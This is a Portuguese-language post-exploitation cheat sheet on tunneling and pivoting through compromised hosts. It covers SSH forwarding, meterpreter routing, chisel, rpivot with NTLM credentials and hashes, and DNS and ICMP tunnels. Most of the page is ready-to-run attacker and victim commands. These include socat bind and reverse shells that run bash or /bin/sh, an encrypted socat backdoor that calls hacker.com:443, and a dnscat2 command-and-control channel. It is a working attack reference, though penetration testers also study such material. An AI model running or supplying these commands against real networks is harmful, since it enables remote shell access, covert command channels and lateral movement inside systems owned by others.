Conexão gráfica SSH (X)
ssh -Y -C <user>@<ip> # -Y é menos seguro, mas mais rápido que -XAbrir uma nova porta no servidor SSH -> Outra porta
ssh -R 0.0.0.0:10521:127.0.0.1:1521 [email protected] #Porta local 1521 acessível na porta 10521 de qualquer lugarssh -R 0.0.0.0:10521:10.0.0.1:1521 [email protected] #Porta remota 1521 acessível na porta 10521 de qualquer lugarPorta Local -> Host comprometido (SSH) -> Terceira_maquina:Porta
ssh -i ssh_key <usuario>@<ip_comprometido> -L <porta_do_atacante>:<ip_da_vitima>:<porta_remota> [-p <porta_ssh>] [-N -f] #Dessa forma, o terminal ainda está em seu host
#Exemplo
sudo ssh -L 631:<ip_da_vitima>:631 -N -f -l <usuário> <ip_comprometido>Porta Local -> Host comprometido (SSH) -> Qualquer lugar
ssh -f -N -D <porta_do_atacante> <usuario>@<ip_comprometido> #Tudo enviado para a porta local irá ser redirecionado para o servidor comprometido (uso como proxy)Você precisa de root em ambos os dispositivos (já que criará novas interfaces) e a configuração do sshd deve permitir o login de root:
PermitRootLogin yes
PermitTunnel yes
ssh username@server -w any:any #Isso criará interfaces Tun em ambos os dispositivos.
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IPAtivando o forwarding do lado do servidor
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADEDefina uma nova rota do lado do cliente
route add -net 10.0.0.0/16 gw 1.1.1.1
Você pode tunelar via ssh todo o tráfego para uma sub-rede por meio de um host. Exemplo, tunelando todo o tráfego que vai para 10.10.10.0/24
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24Porta Local -> Host comprometido (sessão ativa) -> Terceira_maquina:Porta
# Inside a meterpreter session
portfwd add -l <porta_do_atacante> -p <porta_remota> -r <host_remoto>background# meterpreter session
route add <ip_vitima> <máscara_de_rede> <sessão> # (ex: route add 10.10.10.14 255.255.255.0 8)
use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #ProxychainsOutra forma:
background #meterpreter session
use post/multi/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
use auxiliary/server/socks_proxy
set VERSION 4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychainshttps://github.com/sensepost/reGeorg
Você precisa fazer upload de um arquivo web de túnel: ashx|aspx|js|jsp|php|php|jsp
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jspVocê pode baixá-lo na página de releases do https://github.com/jpillora/chisel
Você precisa usar a mesma versão para o cliente e o servidor
./chisel server -p 8080 --reverse #Server
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client
#E agora você pode usar proxychains com a porta 1080 (padrão)./chisel_1.7.6_linux_amd64 server -p 12312 --reverse
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505https://github.com/klsecservices/rpivot
Túnel reverso. O túnel é iniciado a partir da vítima. Um proxy socks4 é criado em 127.0.0.1:1080
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999Pivot through NTLM proxy
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rdvictim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45https://github.com/andrew-d/static-binaries
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sanesocat TCP-LISTEN:<lport>,fork TCP:<redirect_ip>:<rport> &socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678#Crie o backdoor do meterpreter na porta 3333 e inicie o listener do msfconsole nessa porta
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute o meterpreterVocê pode burlar um proxy não autenticado executando esta linha em vez da última no console da vítima:
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/
/bin/sh console
Crie certificados em ambos os lados: Cliente e Servidor
# Execute este comando em ambos os lados
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pemattacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crtConecte a porta SSH local (22) à porta 443 do host não autorizado
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Conecte-se à porta 443 do invasor e tudo que vier daqui será redirecionado para a porta 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Conecta-se ao SSH da vítimaÉ como uma versão de console do PuTTY (as opções são muito semelhantes a um cliente ssh).
Como este binário será executado na vítima e é um cliente ssh, precisamos abrir nossa porta e serviço ssh para que possamos ter uma conexão reversa. Portanto, para encaminhar apenas uma porta acessível localmente para uma porta em nossa máquina:
echo y | plink.exe -l <nosso_username_valido> -pw <senha_valida> [-p <porta>] -R <porta_no_nosso_host>:<proximo_ip>:<porta_final> <seu_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Porta local 9090 para a porta 9090 externaA ferramenta mencionada anteriormente: Rpivot
OpenVPN também pode burlá-lo definindo estas opções no arquivo de configuração:
http-proxy <proxy_ip> 8080 <file_with_creds> ntlmEle se autentica em um proxy e faz bind em uma porta localmente, que é encaminhada ao serviço externo que você especificar. Então você pode usar a ferramenta de sua escolha por meio desta porta.
Exemplo que faz o forward da porta 443
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
Agora, se você definir, por exemplo na vítima o serviço SSH para escutar na porta 443. Você pode se conectar a ele por meio da porta 2222 do invasor. Você também pode usar o meterpreter que se conecta no localhost:443 e o invasor está escutando na porta 2222.
Um proxy reverso criado pela Microsoft. Você pode encontrá-lo aqui: https://github.com/microsoft/reverse-proxy
O root é necessário em ambos os sistemas para criar adaptadores tun e tunela dados entre eles usando consultas DNS.
atacante> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
vítima> iodine -f -P P@ssw0rd tunneldomain.com -r
#Você pode ver a vítima no 1.1.1.2
O túnel vai ser muito lento. Você pode criar uma conexão SSH comprimida por meio deste túnel usando:
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
Estabeleça um canal C&C por meio do DNS. Não precisa de privilégios de root.
atacante> ruby ./dnscat2.rb tunneldomain.com
vítima> ./dnscat2 tunneldomain.comTunelamento de portas com dnscat
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker hosto Proxychains intercepta a chamada gethostbyname da libc e tunela a solicitação DNS tcp através do proxy socks. Por padrão o servidor DNS que o proxychains usa é 4.2.2.2 (hardcoded). Para alterá-lo, edite o arquivo: /usr/lib/proxychains3/proxyresolv e altere o IP. Se você estiver em um Ambiente Windows, você pode definir o IP do domain controller.
https://github.com/hotnops/gtunnel
https://github.com/friedrich/hans
https://github.com/albertzak/hanstunnel
O root é necessário em ambos os sistemas para criar adaptadores tun e tunela dados entre eles usando requests echo do ICMP.
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping 1.1.1.100 #Após uma conexão bem sucedida, A vítima estara acessível pelo ip 1.1.1.100